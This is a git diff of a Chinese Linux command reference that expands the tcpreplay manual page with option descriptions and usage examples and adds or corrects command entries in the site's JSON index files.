b/command/tcpreplay.md index cb40c1f42b3..9673104034c 100644 --- a/command/tcpreplay.md +++ b/command/tcpreplay.md @@ -1,50 +1,219 @@ tcpreplay === -将PCAP包重新发送，用于性能或者功能测试 +将保存在 PCAP 文件包重新发送，用于性能或者功能测试 ## 补充说明 -简单的说， **tcpreplay** 是一种pcap包的重放工具，它可以将用ethreal、wireshark工具抓下来的包原样或经过任意修改后重放回去。它允许你对报文做任意的修改（主要是指对2层、3层、4层报文头），指定重放报文的速度等，这样tcpreplay就可以用来复现抓包的情景以定位bug，以极快的速度重放从而实现压力测试。 +`tcpreplay` 用于重放保存在 pcap 文件中的网络流量，它支持按照捕获 pcap 文件时数据包的速度、或者指定速度去重放网络流量，只要在硬件承受的范围内即可。 -### 选项 +它可以根据需要，使流量可以在两个网卡直接拆分、写入文件、进行筛选、以各种方式进行编辑，从而为测试防火墙、NIDS和其他网络设备提供了方法。 -```shell --A "" 在使用 tcpdump 风格打印输出信息时，同时再调用tcpdump中的参数， 默认已经带有“-n,-l”，所以一般看到的都是ip地址，而没有主机名的打印，注意这个是在tcpreplay使用了-v参数时才能使用，不带-v不会报错，但是没有实际意义。格式：-vA “nnt”表示以tcpdump风格输出报文信息，并且不打印时间戳、主机名、端口服务名称。注意不要使用-c参数来指定打印的数据报文的个数，这样发送出去的报文也会变少。 --c 双网卡回放报文必选参数，后面紧跟cache文件名，该文件为tcpprep根据对应的pcap文件构造出来。 --D 把应用层的数据，使用dump mode写入到指定文件中去，和-w、-W 参数一起使用。 --e 指定端点的ip，即把发送报文的和接收的报文的ip都修改称对应的参数值中指定的ip，但是这样发送的出的报文不会区分client和server。。 --f 指定配置文件。 --F 在发送报文时，自动纠正错误的校验和。对测试DUT的校验和检验。 --h 显示帮助文件。 --i 双网卡回放报文必选参数，指定主接口。 --I 重写主网卡发送出报文的目的MAC地址。 --j 双网卡回放报文必选参数，指定从接口。 --J 重写从网卡发送出报文的目的MAC地址。 --k 重写主网卡发送报文的源MAC地址。 --K 重写从网卡发送报文的源MAC地址。 --l 指定循环的次数。 - --loopdelay-ms=2000 每次循环间隔2000毫秒。 --L 指定最大的发包数量。可以在确认连接的调试时使用。 --m 指定一个倍数值，就是必默认发送速率要快多少倍的速率发送报文。 加大发送的速率后，对于DUT可能意味着有更多的并发连接和连接数，特别是对于BT报文的重放， 因为连接的超时是固定的，如果速率增大的话， 留在session表中的连接数量增大，还可以通过修改连接的超时时间来达到该目的。 --M 表示不发送“火星”的ip报文，man文件中的定义是 0/8、172/8、 255/8。 --n 在使用-S参数，不对混杂模式进行侦听。 --N 通过伪造的NAT，重写IP地址。这个参数应该有很重要的应用，目前没有测试使用。 --O 没有测试使用。 --p 指定每秒发送报文的个数，指定该参数，其它速率相关的参数被忽略，最后的打印信息不会有速率和每秒发送报文的统计。 --P 表示在输出信息中打印PID的信息，用于单用户或单帐户模式下暂停和重启程序。 --r 指定发送的速率。目前-m/-r/-p这3个参数的相互关系。 --R 让网卡极限速度发数据包。 --t 指定MTU，标准的10/100M网卡的默认值是1500。 --T Truncate packets > 截去报文中MTU大于标准值的部分再发送出去，默认是不发送，skip掉。 --v 每发送一个报文都以 tcpdump 的风格打印出对应的信息。 --V 查看版本号。 --w 将主网卡发送的报文写入一个文件中，参数后紧跟文件名。 -``` +### 命令参数 + +-d number, --dbug=number + +启用调试输出。此选项最多可出现1次。此选项将整数作为参数。 number的值被限制为：在0到5的范围内 +此选项的默认输入number为：0 +如果使用--enable-debug进行配置，则可以为调试输出指定详细级别。数字越大，越详细。 + +`-q, --quiet` + +静默模式。除了运行结束时的统计数据外，不打印任何内容 + +`-T string, --timer=string` + +选择数据包计时模式：select，ioport，gtod，nano。此选项最多可出现1次。此选项的默认string是：gtod +允许您选择要使用的数据包计时方法： + +nano - 使用 nanosleep() API + +select - 使用 select() API + +ioport - 写入 i386 IO 端口 0x80 + +gtod [default] - 使用 gettimeofday() 循环 + +`--maxsleep=number` + +设置数据包之间休眠不超过X毫秒。此选项将整数作为参数。此选项的默认输入number为：0 +设置tcpreplay在数据包之间休眠的最大毫秒数限制。有效防止数据包之间的长时间延迟，而不会影响大多数数据包。默认为禁用。 + +`-v, --verbose` + +通过tcpdump将解码后的数据包打印到标准输出。此选项最多可出现1次 + +`-A string, --decode=string` + +传递给tcpdump解码器的参数。此选项最多可出现1次。此选项必须与-v参数以前使用。 +当启用详细模式（-v）时，您还可以指定一个或多个附加参数以传递给tcpdump来修改数据包的解码方式。默认情况下，使用-n和-l。确保string用双引号引起来，如：-A“-axxx”，否则会被tcpreplay作为参数误用。有关选项的完整列表，请参见tcpdump(1)手册页 + +`-K, --preload-pcap` + +在发送之前将数据包预加载到RAM中。 +此选项在开始发送之前将指定的pcap加载到RAM中，以便提高启动性能，进而提高重放性能。预加载可以使用或不使用--loop。此选项还会控制每次迭代的流统计信息收集，这可以显着减少内存使用量。基于所提供的选项和从第一循环迭代收集的统计来预测流(flow)统计。 + +`-c string, --cachefile=string` + +通过tcpprep缓存(cache)文件拆分流量。此选项最多可出现1次。此选项必须与以下选项一起使用：intf2。此选项不得与以下选项一起使用：dualfile。 +如果你有一个pcap文件，你想用它来通过一个设备（防火墙，路由器，IDS等）发送双向流量，然后使用tcpprep你可以创建一个缓存文件，tcpreplay将用它来分割两个网络接口的流量。 + +`-2, --dualfile` + +从 network tap 一次重放两个文件。此选项最多可出现1次。此选项必须与以下选项一起使用：intf2。此选项不得与以下任项一起使用：cachefile。 +如果您使用网络分流器捕获网络流量，那么您最终可以获得两个pcap文件 - 每个方向一个。此选项将同时重放这两个文件，每个接口一个，并使用每个文件中的时间戳混合它们 + +`-i string, --intf1=string` + +客户端到 server/RX/primary(主要) 流量输出接口。该选项最多可出现 1 次。 +用于发送所有流量或通过 tcpprep 标记为 "primary" 流量的所需网络接口。primary 流量通常是客户端到服务器或 khial 虚拟接口上的入站（RX）流量。 + +`-I string, --intf2=string` + +服务器到 client/TX/secondary(辅助) 流量输出接口。该选项最多可能出现 1 次。 + +用于发送通过 tcpprep 标记为 “secondary” 流量的可选网络接口。辅助(secondary)流量通常是服务器到客户端或 khial 虚拟接口上的出站 (TX)。一般来说，只有将此选项与 --cachefile 一起使用才有意义。 + +`--listnics` + +列出所有可用的网卡并退出。 + +`-l number, --loop=number` + +循环捕获文件X次。此选项最多可出现1次。此选项将整数作为输入参数。 number的值被限制为： +大于或等于0，此选项的默认输入number为：1 + +`--loopdelay-ms=number` + +循环之间的延迟（以毫秒为单位）。此选项必须与以下选项一起出现：--loop。此选项将整数作为输入参数。 number的值被限制为：大于或等于0，此选项的默认输入number为：0 + +`--pktlen` + +覆盖snaplen并使用实际的数据包len。此选项最多可出现1次。 +默认情况下，tcpreplay将根据pcap文件中存储的“snaplen”的大小发送数据包，这通常是正确的做法。但是，偶尔，工具会存储更多的字节。通过指定此选项，tcpreplay将忽略snaplen字段，而是尝试根据原始数据包长度发送数据包。如果指定此选项，可能会发生错误。 + +`-L number, --limit=number` + +限制要发送的数据包数量。此选项最多可出现1次。此选项将整数作为输如参数。 number的值被限制为：大于或等于1，此选项的默认输如number为：-1 +默认情况下，tcpreplay将发送所有数据包。或者手工指定要发送的最大数据包数。 + +`--duration=number` + +限制发送的秒数。此选项最多可出现1次。此选项将整数作为输入参数。 number的值被限制为：大于或等于1，此选项的默认number为：-1 +默认情况下，tcpreplay将发送所有数据包。或者手工指定要传输的最大秒数。 + +`-x string, --multiplier=string` + +将重放速度修改为指定倍数。此选项最多可出现1次。此选项不得与以下任何选项一起出现：pps，mbps，oneatatime，topspeed。 +指定一个值以修改数据包重放速度。例子： +2.0：将以捕获速度的两倍重放流量 +0.7：将以捕获的速度的70％重放流量 + +`-p string, --pps=string` + +以给定的packets/sec重放数据包。此选项最多可出现1次。此选项不得与以下任何选项一起出现：multiplier, mbps, oneatatime, topspeed.。 +指定一个值以将数据包重放调整为特定的packets/sec速率。例子： +200：将以每秒200个数据包重放流量 +0.25：将以每分钟15个数据包重放流量 + +`-M string, --mbps=string` + +以给定的Mbps重放数据包。此选项最多可出现1次。此选项不得与以下任何选项一起出现：multiplier，pps，oneatatime，topspeed。 +可为tcpreplay设定其发送数据包的Mbps速率，该值可以指定为浮点值 + +`-t, --topspeed` + +尽可能快地重放数据包。此选项不得与以下任何选项一起出现: mbps, multiplier, pps, oneatatime. + +`-o, --oneatatime` + +根据用户输入重放每个数据包。此选项不得与以下任何选项一起出现：mbps，pps，multiplier，topspeed。 +允许您一次单步执行一个或多个数据包。 + +`--pps-multi=number` + +指定每个时间间隔要发送的数据包数。此选项必须与以下选项一起使用：pps。此选项将整数作为输入参数。 number的值被限制为：大于或等于1，此选项的默认值为：1 +当尝试以非常高的速率发送数据包时，每个数据包之间的时间可能很短，以至于不可能在所需的时间段内准确地休眠。此选项允许您一次发送多个数据包，从而允许更长的睡眠时间，这可以更准确地实现。 + +`--unique-ip` + +修改每个循环迭代的IP地址以生成唯一流。此选项必须与以下选项一起使用：loop。 +确保每个--loop迭代的IPv4和IPv6数据包都是唯一的。这是以不会改变数据包CRC的方式完成的，因此通常不会影响性能。此选项将显着增加多次循环迭代生成的flow/sec。 + +`--unique-ip-loops=string` + +分配新的唯一 IP 之前的 --loop 迭代次数。默认值为 1。假定同时使用 --loop 和 --unique-ip。 + +`--netmap` + +将数据包直接写入启用netmap的网络适配器。 +此功能将检测Linux和BSD系统上支持netmap的网络驱动程序。如果检测到，则会在执行期间绕过网络驱动程序，并直接写入网络缓冲区。这将允许您在商用网络适配器上实现全线速率，类似于商用网络流量生成器实现的速率。请注意，绕过网络驱动程序将中断通过测试接口连接的其他应用程序。 + +还可以通过将接口指定为`netmap:`或 `vale:` 来启用此功能。例如，`netmap:eth0` 指定接口 eth0 上的网络映射。 + +`--nm-delay=number` + +Netmap启动延迟。此选项将整数作为参数。此选项的默认输入为：10 +加载netmap后延迟的秒数。在netmap传输之前确保接口完全开启工作。需要netmap选项。默认值为10秒。 + +`--no-flow-stats` + +阻止打印和跟踪流量，速率和到期 + +禁止收集和打印流量统计信息。 不使用--preload-pcap选项时，此选项可以提高性能，否则它的唯一功能是禁止打印。 + +流功能将跟踪和打印正在发送的流的统计信息。 简单来讲，一个流是由5元组进行唯一区分的，即源IP、目的IP、源端口、目的端口和协议。 +如果指定了--loop，则从一次迭代到下一次迭代的流将不是唯一的，除非数据包被更改。 使用--unique-ip或tcpreplay-edit在迭代之间更改数据包。 + +`--flow-expiry=number` + +流被视为过期前的非活动秒数。此选项不得与以下选项一起使用：no-flow-stats。此选项将整数作为输入参数。 number的值被限制为：大于或等于0 +此选项的默认值为：0 +此选项将根据流的idle time来跟踪和报告流的过期。 pcap文件中的时间戳用于确定到期时间，而不是重放数据包的实际时间戳。例如，值30表示如果流上没有流量持续30秒，则任何后续流量都将被视为新流量，从而将增加流量和每秒流量（fps）统计量。 + +（例如，值 30 表示如果某个流在 30 秒内没有看到任何流量，则任何后续流量都将被视为新流，从而增加流量和每秒流量 (fps) 统计数据。） + +此选项可用于优化流产品的流超时设置。当实际流量响应速度很慢时，将超时设置较低可能会导致流量被丢弃。将流量超时配置得过高可能会增加流量产品所需的资源。 +请注意，在高于原始速度的重放时使用此选项可能会导致流量和fps计数膨胀。 +默认值为0（无到期），典型值为30-120秒 + +`-P, --pid` + +在启动时打印tcpreplay的PID + +`--stats=number` + +每X秒打印统计信息，如果为'0'则打印每个循环。此选项将整数作为输入参数。number 的值被限制为：大于或等于 0 + +请注意，定时延迟是"best effort"，发送数据包之间的长延迟可能会导致打印统计数据之间同样长的延迟。 + +`-V, --version` + +打印版本信息 + +`-h, --less-help` + +打印简单的帮助信息 + +`-H, --help` + +打印帮助信息 + +`-!, --more-help` + +打印详细帮助信息 + +`--save-opts [=cfgfile]` + +将选项状态保存到cfgfile。默认值是下面的OPTION PRESETS章节中列出的最后一个配置文件。该命令在更新配置文件后退出。 + +`--load-opts=cfgfile, --no-load-opts` + +从 cfg 文件加载选项。 no-load-opts 形式将禁止加载早期的 config/rc/ini 文件。`--no-load-opts` 提前处理，无序。 ### 实例 - **1、重放在客户端 ftp 连接的报文 ** +**1、重放在客户端 ftp 连接的报文 ** a、在客户端使用 ethereal 抓包，存为 ftp.pcap 文件。 @@ -62,7 +231,7 @@ c、 将 DUT 设备的两个接口和 PC 的两个接口使用网线连接，使 -R 参数表示全速发送，-v 显示打印信息。  - **2、重放在客户端 BT 连接的报文 ** +**2、重放在客户端 BT 连接的报文 ** a、在实验室 BT 下载一些台湾的娱乐节目和热门的大片，使用 ethereal 抓包， 存为 bt.pcap 文件。注意 pcap 文件大小的控制，对 pc 的内存要求比较高，我保 存了一个 600 多 M 的 pcap 文件用了 40 多分钟，大家有需要可以直接从实验室 copy。  @@ -80,7 +249,7 @@ c、使用 tcpreplay 重放报文。  [root@A ~]# tcpreplay -c bt.cache -i eth0 -j eth1 bt.pcap -v –R ``` - **3、重放 tftp 服务器上抓到的报文 ** +**3、重放 tftp 服务器上抓到的报文 ** a、在 tftp 服务器上使用 ethereal 抓包，存为 tftp.pcap 文件。  @@ -98,4 +267,10 @@ c、使用 tcpreplay 重放报文。  [root@A ~]# tcpreplay -c tftp.cache -i eth0 -j eth1 tftp.pcap –v ``` +**4、重放pcap包，并指定速率和 loop 次数** + +```shell +[root@A ~]# tcpreplay -i eth1 -M 10 -l 0 /home/demo/LSDK/LSDK.pcap +``` +以速率10Mbps，0为无限次循环进行重放 diff --git a/dist/data.json b/dist/data.json index 526e559d149..83b9625abad 100644 --- a/dist/data.json +++ b/dist/data.json @@ -404,6 +404,11 @@ "p": "/cpio", "d": "用来建立、还原备份档的工具程序" }, + "createrepo": { + "n": "createrepo", + "p": "/createrepo", + "d": "创建YUM仓库" + }, "crontab": { "n": "crontab", "p": "/crontab", @@ -544,6 +549,11 @@ "p": "/dnsdomainname", "d": "定义DNS系统中FQDN名称的域名" }, + "docker": { + "n": "docker", + "p": "/docker", + "d": "容器化技术，可以将应用程序及其依赖项打包到一个可移植的容器中，使其可以在不同的环境中运行" + }, "domainname": { "n": "domainname", "p": "/domainname", @@ -1579,6 +1589,11 @@ "p": "/mktemp", "d": "创建临时文件供shell脚本使用" }, + "modetest": { + "n": "modetest", + "p": "/modetest", + "d": "DRM/KMS驱动程序libdrm中的模式测试工具" + }, "modprobe": { "n": "modprobe", "p": "/modprobe", @@ -1647,7 +1662,7 @@ "nc": { "n": "nc", "p": "/nc", - "d": "用于设置路由器，是网络工具中的瑞士军刀。" + "d": "nc是网络工具中的瑞士军刀" }, "ncftp": { "n": "ncftp", @@ -1762,7 +1777,7 @@ "pacman": { "n": "pacman", "p": "/pacman", - "d": "Arch Linux 系统极其衍生系统中默认使用的包管理器" + "d": "Arch Linux 系统及其衍生系统中默认使用的包管理器" }, "parted": { "n": "parted", @@ -1837,7 +1852,17 @@ "ping": { "n": "ping", "p": "/ping", - "d": "测试主机之间网络的连通性" + "d": "测试主机之间网络的连通性(ipv4)" + }, + "ping6": { + "n": "ping6", + "p": "/ping6", + "d": "测试主机之间网络的连通性(ipv6)" + }, + "pkexec": { + "n": "pkexec", + "p": "/pkexec", + "d": "以其他用户身份执行命令" }, "pkill": { "n": "pkill", @@ -1879,6 +1904,11 @@ "p": "/protoize", "d": "GNU-C代码转换为ANSI-C代码" }, + "prtstat": { + "n": "prtstat", + "p": "/prtstat", + "d": "显示进程信息" + }, "ps": { "n": "ps", "p": "/ps", @@ -2034,6 +2064,11 @@ "p": "/renice", "d": "修改正在运行的进程的调度优先级" }, + "reposync": { + "n": "reposync", + "p": "/reposync", + "d": "同步yum存储库到本地目录" + }, "repquota": { "n": "repquota", "p": "/repquota", @@ -2244,6 +2279,11 @@ "p": "/sh", "d": "shell命令解释器" }, + "sha256sum": { + "n": "sha256sum", + "p": "/sha256sum", + "d": "用于计算文件的 SHA-256 哈希值" + }, "shift": { "n": "shift", "p": "/shift", @@ -2379,10 +2419,10 @@ "p": "/sshd", "d": "openssh软件套件中的服务器守护进程" }, - "sshpass":{ + "sshpass": { "n": "sshpass", "p": "/sshpass", - "d": "免交互 SSH 登录工具" + "d": "免交互 SSH 登录工具。" }, "startx": { "n": "startx", @@ -2502,7 +2542,7 @@ "tcpreplay": { "n": "tcpreplay", "p": "/tcpreplay", - "d": "将PCAP包重新发送，用于性能或者功能测试" + "d": "将保存在 PCAP 文件包重新发送，用于性能或者功能测试" }, "tee": { "n": "tee", diff --git a/dist/data.min.json b/dist/data.min.json index 2c2900a7e14..b8a3bd417a0 100644 --- a/dist/data.min.json +++ b/dist/data.min.json @@ -1 +1 @@ -{"7z":{"n":"7z","p":"/7z","d":"拥有极高压缩比的开源压缩软件。"},"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"ag":{"n":"ag","p":"/ag","d":"ack 的升级版，C语言编写，更快更人性化"},"alias":{"n":"alias","p":"/alias","d":"定义或显示别名。"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian Linux系统中软件包管理工具"},"ar":{"n":"ar","p":"/ar","d":"建立或修改备存文件，或是从备存文件中抽取文件"},"arch":{"n":"arch","p":"/arch","d":"显示当前主机的硬件架构类型"},"arj":{"n":"arj","p":"/arj","d":"用于创建和管理.arj压缩包"},"arp":{"n":"arp","p":"/arp","d":"arp 命令用于显示和修改 IP 到 MAC 转换表"},"arpd":{"n":"arpd","p":"/arpd","d":"收集免费ARP信息"},"arping":{"n":"arping","p":"/arping","d":"通过发送ARP协议报文测试网络"},"arptables":{"n":"arptables","p":"/arptables","d":"管理ARP包过滤规则表"},"arpwatch":{"n":"arpwatch","p":"/arpwatch","d":"监听网络上ARP的记录"},"as":{"n":"as","p":"/as","d":"汇编语言编译器"},"at":{"n":"at","p":"/at","d":"在指定时间执行一个任务"},"atop":{"n":"atop","p":"/atop","d":"监控Linux系统资源与进程的工具"},"atq":{"n":"atq","p":"/atq","d":"列出当前用户的at任务列表"},"atrm":{"n":"atrm","p":"/atrm","d":"删除待执行任务队列中的指定任务"},"awk":{"n":"awk","p":"/awk","d":"文本和数据进行处理的编程语言"},"axel":{"n":"axel","p":"/axel","d":"多线程下载工具"},"badblocks":{"n":"badblocks","p":"/badblocks","d":"查找磁盘中损坏的区块"},"base64":{"n":"base64","p":"/base64","d":"base64 编码/解码文件或标准输入输出"},"basename":{"n":"basename","p":"/basename","d":"打印目录或者文件的基本名称"},"batch":{"n":"batch","p":"/batch","d":"在系统不繁忙的时候执行定时任务"},"bc":{"n":"bc","p":"/bc","d":"算术操作精密运算工具"},"bg":{"n":"bg","p":"/bg","d":"将前台终端作业移动到后台运行"},"bind":{"n":"bind","p":"/bind","d":"显示或设置键盘按键与其相关的功能"},"blkid":{"n":"blkid","p":"/blkid","d":"查看块设备的文件系统类型、LABEL、UUID等信息"},"blockdev":{"n":"blockdev","p":"/blockdev","d":"从命令行调用区块设备控制程序"},"bmodinfo":{"n":"bmodinfo","p":"/bmodinfo","d":"显示给定模块的详细信息"},"break":{"n":"break","p":"/break","d":"结束for，while或until循环。"},"builtin":{"n":"builtin","p":"/builtin","d":"执行bash内建命令。"},"bunzip2":{"n":"bunzip2","p":"/bunzip2","d":"可解压缩.bz2格式的压缩文件。 "},"bye":{"n":"bye","p":"/bye","d":"命令用于中断FTP连线并结束程序"},"bzcat":{"n":"bzcat","p":"/bzcat","d":"不解压，直接查看指定的.bz2文件"},"bzcmp":{"n":"bzcmp","p":"/bzcmp","d":"比较两个压缩包中的文件"},"bzdiff":{"n":"bzdiff","p":"/bzdiff","d":"直接比较两个.bz2压缩包中文件的不同"},"bzgrep":{"n":"bzgrep","p":"/bzgrep","d":"使用正则表达式搜索.bz2压缩包中文件"},"bzip2":{"n":"bzip2","p":"/bzip2","d":"将文件压缩成bz2格式"},"bzip2recover":{"n":"bzip2recover","p":"/bzip2recover","d":"恢复被破坏的.bz2压缩包中的文件"},"bzless":{"n":"bzless","p":"/bzless","d":"增强.bz2压缩包查看器"},"bzmore":{"n":"bzmore","p":"/bzmore","d":"查看bzip2压缩过的文本文件的内容"},"cal":{"n":"cal","p":"/cal","d":"显示当前日历或指定日期的日历"},"cancel":{"n":"cancel","p":"/cancel","d":"取消已存在的打印任务"},"cat":{"n":"cat","p":"/cat","d":"连接多个文件并打印到标准输出。"},"cd":{"n":"cd","p":"/cd","d":"切换用户当前工作目录。"},"cdrecord":{"n":"cdrecord","p":"/cdrecord","d":"Linux系统下光盘刻录功能命令"},"chage":{"n":"chage","p":"/chage","d":"修改帐号和密码的有效期限"},"chattr":{"n":"chattr","p":"/chattr","d":"用来改变文件属性"},"chcon":{"n":"chcon","p":"/chcon","d":"修改对象（文件）的安全上下文"},"chfn":{"n":"chfn","p":"/chfn","d":"用来改变finger命令显示的信息"},"chgrp":{"n":"chgrp","p":"/chgrp","d":"用来变更文件或目录的所属群组"},"chkconfig":{"n":"chkconfig","p":"/chkconfig","d":"检查或设置系统的各种服务"},"chmod":{"n":"chmod","p":"/chmod","d":"用来变更文件或目录的权限"},"chown":{"n":"chown","p":"/chown","d":"用来变更文件或目录的拥有者或所属群组"},"chpasswd":{"n":"chpasswd","p":"/chpasswd","d":"批量更新用户口令的工具"},"chroot":{"n":"chroot","p":"/chroot","d":"把根目录换成指定的目的目录"},"chsh":{"n":"chsh","p":"/chsh","d":"用来更换登录系统时使用的shell"},"cksum":{"n":"cksum","p":"/cksum","d":"检查文件的CRC是否正确"},"clear":{"n":"clear","p":"/clear","d":"清除当前屏幕终端上的任何信息"},"clock":{"n":"clock","p":"/clock","d":"用于调整 RTC 时间"},"clockdiff":{"n":"clockdiff","p":"/clockdiff","d":"检测两台linux主机的时间差"},"cmp":{"n":"cmp","p":"/cmp","d":"比较两个文件是否有差异"},"col":{"n":"col","p":"/col","d":"过滤控制字符"},"colrm":{"n":"colrm","p":"/colrm","d":"删除文件中的指定列"},"comm":{"n":"comm","p":"/comm","d":"按行比较两个已排序的文件。"},"command":{"n":"command","p":"/command","d":"调用并执行指定的命令"},"compress":{"n":"compress","p":"/compress","d":"使用Lempress-Ziv编码压缩数据文件"},"consoletype":{"n":"consoletype","p":"/consoletype","d":"输出已连接的终端类型"},"continue":{"n":"continue","p":"/continue","d":"结束本次循环，继续执行下一个for，while或until循环。"},"convertquota":{"n":"convertquota","p":"/convertquota","d":"把老的配额文件转换为新的格式"},"cp":{"n":"cp","p":"/cp","d":"将源文件或目录复制到目标文件或目录中"},"cpio":{"n":"cpio","p":"/cpio","d":"用来建立、还原备份档的工具程序"},"crontab":{"n":"crontab","p":"/crontab","d":"提交和管理用户的需要周期性执行的任务"},"csplit":{"n":"csplit","p":"/csplit","d":"将一个大文件分割成小的碎片文件"},"cu":{"n":"cu","p":"/cu","d":"用于连接另一个系统主机"},"cupsdisable":{"n":"cupsdisable","p":"/cupsdisable","d":"停止指定的打印机"},"cupsenable":{"n":"cupsenable","p":"/cupsenable","d":"启动指定的打印机"},"curl":{"n":"curl","p":"/curl","d":"利用URL规则在命令行下工作的文件传输工具"},"cut":{"n":"cut","p":"/cut","d":"连接文件并打印到标准输出设备上"},"date":{"n":"date","p":"/date","d":"显示或设置系统时间与日期"},"dc":{"n":"dc","p":"/dc","d":"任意精度计算器"},"dd":{"n":"dd","p":"/dd","d":"复制文件并对原文件的内容进行转换和格式化处理"},"declare":{"n":"declare","p":"/declare","d":"声明变量，设置或显示变量的值和属性。"},"depmod":{"n":"depmod","p":"/depmod","d":"分析可载入模块的相依性"},"df":{"n":"df","p":"/df","d":"显示磁盘的相关信息"},"dhclient":{"n":"dhclient","p":"/dhclient","d":"动态获取或释放IP地址"},"dhcpd":{"n":"dhcpd","p":"/dhcpd","d":"运行DHCP服务器"},"dhcrelay":{"n":"dhcrelay","p":"/dhcrelay","d":"使用dhcrelay命令可以提供中继DHCP和BOOTP请求"},"diff":{"n":"diff","p":"/diff","d":"比较给定的两个文件的不同"},"diff3":{"n":"diff3","p":"/diff3","d":"比较3个文件不同的地方"},"diffstat":{"n":"diffstat","p":"/diffstat","d":"显示diff命令输出信息的柱状图"},"dig":{"n":"dig","p":"/dig","d":"域名查询工具"},"dircolors":{"n":"dircolors","p":"/dircolors","d":"置ls命令在显示目录或文件时所用的色彩"},"dirname":{"n":"dirname","p":"/dirname","d":"去除文件名中的非目录部分"},"dirs":{"n":"dirs","p":"/dirs","d":"显示目录堆栈。"},"disown":{"n":"disown","p":"/disown","d":"从当前的shell中移除作业。"},"dmesg":{"n":"dmesg","p":"/dmesg","d":"显示Linux系统启动信息"},"dmidecode":{"n":"dmidecode","p":"/dmidecode","d":"在Linux系统下获取有关硬件方面的信息"},"dnf":{"n":"dnf","p":"/dnf","d":"新一代的RPM软件包管理器"},"dnsdomainname":{"n":"dnsdomainname","p":"/dnsdomainname","d":"定义DNS系统中FQDN名称的域名"},"domainname":{"n":"domainname","p":"/domainname","d":"显示和设置系统的NIS域名"},"dos2unix":{"n":"dos2unix","p":"/dos2unix","d":"将DOS格式文本文件转换成Unix格式"},"dpkg-deb":{"n":"dpkg-deb","p":"/dpkg-deb","d":"Debian Linux下的软件包管理工具"},"dpkg-divert":{"n":"dpkg-divert","p":"/dpkg-divert","d":"Debian Linux中创建并管理一个转向列表"},"dpkg-preconfigure":{"n":"dpkg-preconfigure","p":"/dpkg-preconfigure","d":"Debian Linux中软件包安装之前询问问题"},"dpkg-query":{"n":"dpkg-query","p":"/dpkg-query","d":"Debian Linux中软件包的查询工具"},"dpkg-reconfigure":{"n":"dpkg-reconfigure","p":"/dpkg-reconfigure","d":"Debian Linux中重新配制一个已经安装的软件包"},"dpkg-split":{"n":"dpkg-split","p":"/dpkg-split","d":"Debian Linux中将大软件包分割成小包"},"dpkg-statoverride":{"n":"dpkg-statoverride","p":"/dpkg-statoverride","d":"Debian Linux中覆盖文件的所有权和模式"},"dpkg-trigger":{"n":"dpkg-trigger","p":"/dpkg-trigger","d":"Debian Linux下的软件包触发器"},"dpkg":{"n":"dpkg","p":"/dpkg","d":"Debian Linux系统上安装、创建和管理软件包"},"dris":{"n":"dris","p":"/dris","d":"显示和清空目录堆栈中的内容"},"dstat":{"n":"dstat","p":"/dstat","d":"通用的系统资源统计工具"},"du":{"n":"du","p":"/du","d":"显示每个文件和目录的磁盘使用空间"},"dump":{"n":"dump","p":"/dump","d":"用于备份ext2或者ext3文件系统"},"e2fsck":{"n":"e2fsck","p":"/e2fsck","d":"用于检查第二扩展文件系统的完整性"},"e2label":{"n":"e2label","p":"/e2label","d":"设置第二扩展文件系统的卷标"},"echo":{"n":"echo","p":"/echo","d":"输出指定的字符串或者变量"},"ed":{"n":"ed","p":"/ed","d":"单行纯文本编辑器"},"edquota":{"n":"edquota","p":"/edquota","d":"用于编辑指定用户或工作组磁盘配额"},"egrep":{"n":"egrep","p":"/egrep","d":"在文件内查找指定的字符串"},"eject":{"n":"eject","p":"/eject","d":"用来退出抽取式设备"},"elinks":{"n":"elinks","p":"/elinks","d":"纯文本界面的WWW浏览器"},"elm":{"n":"elm","p":"/elm","d":"纯文本邮件客户端程序"},"emacs":{"n":"emacs","p":"/emacs","d":"功能强大的全屏文本编辑器"},"enable":{"n":"enable","p":"/enable","d":"启动或禁用shell内建命令"},"env":{"n":"env","p":"/env","d":"显示系统中已存在的环境变量"},"ethtool":{"n":"ethtool","p":"/ethtool","d":"显示或修改以太网卡的配置信息"},"ex":{"n":"ex","p":"/ex","d":"启动vim编辑器的ex编辑模式"},"exec":{"n":"exec","p":"/exec","d":"调用并执行指定的命令"},"exit":{"n":"exit","p":"/exit","d":"退出当前的shell。"},"expand":{"n":"expand","p":"/expand","d":"将文件的制表符转换为空白字符"},"export":{"n":"export","p":"/export","d":"为shell变量或函数设置导出属性。"},"exportfs":{"n":"exportfs","p":"/exportfs","d":"管理NFS共享文件系统列表"},"expr":{"n":"expr","p":"/expr","d":"一款表达式计算工具"},"false":{"n":"false","p":"/false","d":"返回状态为失败。"},"fc":{"n":"fc","p":"/fc","d":"显示历史列表中的命令或修改指定的历史命令并执行。"},"fdisk":{"n":"fdisk","p":"/fdisk","d":"查看磁盘使用情况和磁盘分区"},"fg":{"n":"fg","p":"/fg","d":"将后台作业移动到前台终端运行"},"fgrep":{"n":"fgrep","p":"/fgrep","d":"为文件搜索文字字符串"},"file":{"n":"file","p":"/file","d":"用来探测给定文件的类型"},"find":{"n":"find","p":"/find","d":"在指定目录下查找文件"},"findfs":{"n":"findfs","p":"/findfs","d":"标签或UUID查找文件系统"},"finger":{"n":"finger","p":"/finger","d":"用于查找并显示用户信息"},"firewall-cmd":{"n":"firewall-cmd","p":"/firewall-cmd","d":"Linux上新用的防火墙软件，跟iptables差不多的工具"},"fishshell":{"n":"fishshell","p":"/fishshell","d":"比 bash 更好用的 